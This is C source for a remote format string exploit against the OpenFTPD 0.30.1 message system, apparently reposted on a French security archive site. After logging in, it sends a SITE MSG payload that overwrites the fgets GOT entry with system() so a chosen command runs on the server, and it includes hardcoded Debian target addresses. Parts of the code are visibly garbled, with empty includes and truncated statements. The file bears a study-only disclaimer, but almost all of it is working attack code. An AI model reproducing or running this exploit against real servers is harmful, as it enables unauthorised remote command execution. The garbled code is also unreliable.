OpenFTPD 0.30.1 message sys. Remote format string Exploit


                        
/***********************************************************
* hoagie_openftpd.c
* LINUX/X86 OPENFTPD REMOTE EXLPOIT (: jmp *0x804db90
* ^^^^^^^^^
* the first one
* (gdb) break main
* Breakpoint 1 at 0x804bd05
* (gdb) r
* Starting program: /home/andi/openftpd/bin/msg
* [Thread debugging using libthread_db enabled]
* [New Thread 16384 (LWP 29479)]
* [Switching to Thread 16384 (LWP 29479)]
*
* Breakpoint 1, 0x0804bd05 in main ()
* (gdb) x/i system
* 0x40071c40 : push %ebp
* ^^^^^^^^^^
* the second addresss 
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* 
* http://www.void.at
* 
************************************************************/

#include 
#include 
#include 
#include 
#include 

enum EXPLOITSTATE { SENDUSER, SENDPASS, DELMESSAGE, PURGEMESSAGE, SENDMESSAGE, READMESSAGE, READING };

struct target_t {
char *sys;
char *libc;
int fgetsgot;
int system;
};

struct target_t targets[] = {
{ "Debian unstable", "2.3.2", 0x804db90, 0x40072c40 },
{ NULL, 0, 0 }
};

int connectserver(int *s, char *host, int port) {
struct sockaddr_in s_in;
struct hostent *he;
char *ip;

if ( (*s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
fprintf(stderr,"[*] can't create TCP socket\n");
return -1;
}

memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);

if ( (he = gethostbyname(host)) != NULL)
memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
else {
if ( (s_in.sin_addr.s_addr = inet_addr(host) ) > 16 & 0xFFFF;
low = targets[idx].system & 0xFFFF;

if (high > low) {
count1 = low;
count2 = high;
addr1 = targets[idx].fgetsgot;
addr2 = targets[idx].fgetsgot + 2;
} else {
count1 = high;
count2 = low;
addr1 = targets[idx].fgetsgot + 2;
addr2 = targets[idx].fgetsgot;
}

if (exec) {
strcpy(execcode, exec);
}
if (strlen(execcode)  sprintf(str, " !C| !0%-66s !C|!0\n", buff);
* so we have to subtract 8 bytes from count1 (=> strlen("" !C| !0"))
* 2.) the next data will be our string for system call 
* so we have to subtract strlen(execcode) from count1
* 3.) at least we have to subtract 8 bytes for the two addresses that are 
* used for writing (%hn)
*/
count1 -= (strlen(execcode) + 16);
snprintf(writecode, sizeof(writecode), 
"%c%c%c%c%c%c%c%c%%%du%%18$hn%%%du%%19$hn",
addr1 & 0xFF, (addr1 >> 8) & 0xFF, (addr1 >> 16) & 0xFF, (addr1 >> 24) & 0xFF,
addr2 & 0xFF, (addr2 >> 8) & 0xFF, (addr2 >> 16) & 0xFF, (addr2 >> 24) & 0xFF,
count1, count2 - count1 - 0x30);
snprintf(tmp, sizeof(tmp), "SITE MSG SEND %s %s%s\n", username, execcode, writecode);
printf("[*] len: %d, sending code [%s]\n", strlen(execcode) + strlen(writecode), tmp);
return write(s, tmp, strlen(tmp));
}

int readmessage(int s) {
char tmp[2048] = "";

snprintf(tmp, sizeof(tmp), "SITE MSG READ\n");
return write(s, tmp, strlen(tmp));
}

int attack(int s, char *user, char *password, int idx, char *exec) {
fd_set fs;
int selret, state, len, code;
char buffer[2048] = "";

FD_ZERO(&fs);
FD_SET(s, &fs);

state = SENDUSER;

do {
selret = select(s + 1, &fs, NULL, NULL, NULL);
if (selret > 0 && FD_ISSET(s, &fs)) {
memset(buffer, 0, sizeof(buffer));
len = read(s, buffer, sizeof(buffer));
printf(" 500) {
fprintf(stderr, "[*] login failed\n");
len = -1;
} else if (code == 230) {
fprintf(stderr, "[*] sending exploit code ...\n");
sendexploit(s, user, idx, exec);
state = READMESSAGE;
}
break;
case READMESSAGE: sleep(5);
readmessage(s);
state = READING;
break; 
case READING: if (code == 200 && strstr(buffer, "00000") && strstr(buffer, exec)) {
printf("[*] done\n");
}
break;
}
}
} while (len > 0);
}

void helpme(int argc, char **argv) {
int i;

printf("hoagie_openftpd - openftpd  /tmp/0wned\"\n");
printf("\ntargets:\n");
for (i = 0; targets[i].sys != NULL; i++) {
printf("%d %s (libc: %s): 0x%0x 0x%0x\n", i, targets[i].sys, targets[i].libc, targets[i].fgetsgot, targets[i].system);
}
}

int main(int argc, char **argv) {
char optchar, *exec = NULL, server[512] = "", *username = NULL, *password = NULL;
int s, retval = -1, port, target = 0;

if (argc 

 F-VNS Security Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits